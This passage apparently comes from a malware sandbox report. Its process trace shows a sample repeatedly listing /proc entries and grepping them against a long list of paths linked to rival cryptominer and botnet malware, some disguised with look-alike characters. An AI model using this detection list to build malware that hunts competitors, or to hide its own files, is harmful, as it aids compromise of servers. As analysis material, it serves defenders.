  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1217
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1219
- /bin/grep
  grep exe
  2⤵
  PID:1220
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1222
- /bin/grep
  grep exe
  2⤵
  PID:1225
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1224
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1227
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1229
- /bin/grep
  grep exe
  2⤵
  PID:1230
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1232
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1234
- /bin/grep
  grep exe
  2⤵
  PID:1235
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1237
- /bin/grep
  grep exe
  2⤵
  PID:1240
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1239
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1242
- /bin/grep
  grep exe
  2⤵
  PID:1245
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1244
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1247
- /bin/grep
  grep exe
  2⤵
  PID:1250
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1249
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1253
- /bin/grep
  grep exe
  2⤵
  PID:1258
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1257
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1260
- /bin/grep
  grep exe
  2⤵
  PID:1263
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1262
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1265
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1267
- /bin/grep
  grep exe
  2⤵
  PID:1268
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1270
- /bin/grep
  grep exe
  2⤵
  PID:1273
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1272
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1275
- /bin/grep
  grep exe
  2⤵
  PID:1278
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1277
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1280
- /bin/grep
  grep exe
  2⤵
  PID:1283
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1282
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1285
- /bin/grep
  grep exe
  2⤵
  PID:1288
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1287
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1290
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1292
- /bin/grep
  grep exe
  2⤵
  PID:1293
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1296
- /bin/grep
  grep exe
  2⤵
  PID:1299
- /bin/ls
  ls -latrh /proc/mtd
  2⤵
  PID:1298
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1301
- /bin/grep
  grep exe
  2⤵
  PID:1304
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1303
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1307
- /bin/grep
  grep exe
  2⤵
  PID:1310
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1309
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1312
- /bin/grep
  grep exe
  2⤵
  PID:1315
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1314
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1317
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1319
- /bin/grep
  grep exe
  2⤵
  PID:1320
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1322
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1324
- /bin/grep
  grep exe
  2⤵
  PID:1325
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1327
- /bin/grep
  grep exe
  2⤵
  PID:1330
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1329
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1332
- /bin/grep
  grep exe
  2⤵
  PID:1335
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1334
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1337
- /bin/grep
  grep exe
  2⤵
  PID:1340
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1339
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1342
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1344
- /bin/grep
  grep exe
  2⤵
  PID:1345
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1347
- /bin/grep
  grep exe
  2⤵
  PID:1350
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1349
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1352
- /bin/grep
  grep exe
  2⤵
  PID:1355
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1354
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1357
- /bin/grep
  grep exe
  2⤵
  PID:1360
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1359
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1362
- /bin/grep
  grep exe
  2⤵
  PID:1365
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1364
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1367
- /bin/grep
  grep exe
  2⤵
  PID:1370
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1369
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1372
- /bin/grep
  grep exe
  2⤵
  PID:1375
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1374
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1377
- /bin/grep
  grep exe
  2⤵
  PID:1380
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1379
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1382
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1384
- /bin/grep
  grep exe
  2⤵
  PID:1385
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1387
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1389
- /bin/grep
  grep exe
  2⤵
  PID:1390
- /bin/grep
